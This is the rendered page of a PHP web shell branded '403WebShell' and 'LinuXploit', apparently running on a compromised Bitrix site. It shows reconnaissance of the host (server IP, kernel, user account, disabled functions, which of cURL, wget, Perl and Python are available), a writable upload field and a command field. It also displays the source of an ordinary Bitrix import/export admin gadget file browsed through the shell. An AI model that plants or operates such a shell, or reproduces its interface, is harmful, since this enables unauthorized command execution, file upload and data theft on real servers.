%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.223.158.160
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/esol.importexportexcel/install/gadgets/esol.importexportexcel/last_import/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/esol.importexportexcel/install/gadgets/esol.importexportexcel/last_import//index.php
<?
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Loader;
Loc::loadMessages(__FILE__);
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();
$moduleFilePrefix = 'esol_import_excel';
$moduleId = 'esol.importexportexcel';
if(!Loader::includeModule($moduleId)) return;
$MODULE_RIGHT = $APPLICATION->GetGroupRight($moduleId);
if($MODULE_RIGHT < "W") return;

$arGadgetParams["PROFILES_SHOW_INACTIVE"] = ($arGadgetParams["PROFILES_SHOW_INACTIVE"]=='Y' ? 'Y' : 'N');
$arGadgetParams["PROFILES_COUNT"] = (int)$arGadgetParams["PROFILES_COUNT"];
if ($arGadgetParams["PROFILES_COUNT"] <= 0)
	$arGadgetParams["PROFILES_COUNT"] = 10;

$oProfile = new \CKDAImportProfile();
$arProfiles = $oProfile->GetLastImportProfiles($arGadgetParams);
if(!empty($arProfiles))
{
	echo '<table border="1">'.
		'<tr>'.
			'<th>'.Loc::getMessage('GD_KDA_IE_PROFILE_ID').'</th>'.
			'<th>'.Loc::getMessage('GD_KDA_IE_PROFILE_NAME').'</th>'.
			'<th>'.Loc::getMessage('GD_KDA_IE_PROFILE_DATE_START').'</th>'.
			'<th>'.Loc::getMessage('GD_KDA_IE_PROFILE_DATE_FINISH').'</th>'.
			'<th>'.Loc::getMessage('GD_KDA_IE_PROFILE_STATUS').'</th>'.
			'<th></th>'.
		'</tr>';
	foreach($arProfiles as $arProfile)
	{
		$arStatus = $oProfile->GetStatus($arProfile, true);
		echo '<tr'.($arStatus['STATUS']=='ERROR' ? ' style="background: #ffdddd;"' : '').'>'.
				'<td>'.$arProfile['ID'].'</td>'.
				'<td><a href="/bitrix/admin/'.$moduleFilePrefix.'.php?lang='.LANGUAGE_ID.'&PROFILE_ID='.$arProfile['ID'].'" target="_blank">'.$arProfile['NAME'].'</a></td>'.
				'<td>'.(is_callable(array($arProfile['DATE_START'], 'toString')) ? $arProfile['DATE_START']->toString() : '').'</td>'.
				'<td>'.(is_callable(array($arProfile['DATE_FINISH'], 'toString')) ? $arProfile['DATE_FINISH']->toString() : '').'</td>'.
				'<td>'.$arStatus['MESSAGE'].'</td>'.
				'<td>'.
					'<form method="post" action="/bitrix/admin/'.$moduleFilePrefix.'.php?lang='.LANGUAGE_ID.'" target="_blank">'.
						'<input type="hidden" name="PROFILE_ID" value="'.$arProfile['ID'].'">'.
						'<input type="hidden" name="STEP" value="3">'.
						'<input type="hidden" name="PROCESS_CONTINUE" value="Y">'.
						'<input type="hidden" name="EMAIL_DATA_FILE" value="'.htmlspecialcharsbx(base64_encode($arProfile['SETTINGS_DEFAULT']['EMAIL_DATA_FILE'])).'">'.
						'<input type="hidden" name="EXT_DATA_FILE" value="'.htmlspecialcharsbx($arProfile['SETTINGS_DEFAULT']['EXT_DATA_FILE']).'">'.
						'<input type="hidden" name="LAST_MODIFIED_FILE" value="'.htmlspecialcharsbx($arProfile['SETTINGS_DEFAULT']['LAST_MODIFIED_FILE']).'">'.
						'<input type="hidden" name="OLD_DATA_FILE" value="'.htmlspecialcharsbx($arProfile['SETTINGS_DEFAULT']['DATA_FILE']).'">'.
						'<input type="hidden" name="OLD_FILE_SIZE" value="'.htmlspecialcharsbx($arProfile['SETTINGS_DEFAULT']['OLD_FILE_SIZE']).'">'.
						'<input type="hidden" name="DATA_FILE" value="'.htmlspecialcharsbx($arProfile['SETTINGS_DEFAULT']['DATA_FILE']).'">'.
						(preg_match('/\d%/', $arStatus['MESSAGE']) ? '' : '<input type="hidden" name="FORCE_UPDATE_FILE" value="Y">').
						'<input type="hidden" name="sessid" value="'.bitrix_sessid().'">'.
						'<input type="submit" value="'.Loc::getMessage('GD_KDA_IE_RUN_IMPORT').'">'.
					'</form>'.
				'</td>'.
			'</tr>';
	}
	echo '</table>';
}
else
{
	echo Loc::getMessage('GD_KDA_IE_NO_DATA');
}
?>



Youez - 2016 - github.com/yon3zu
LinuXploit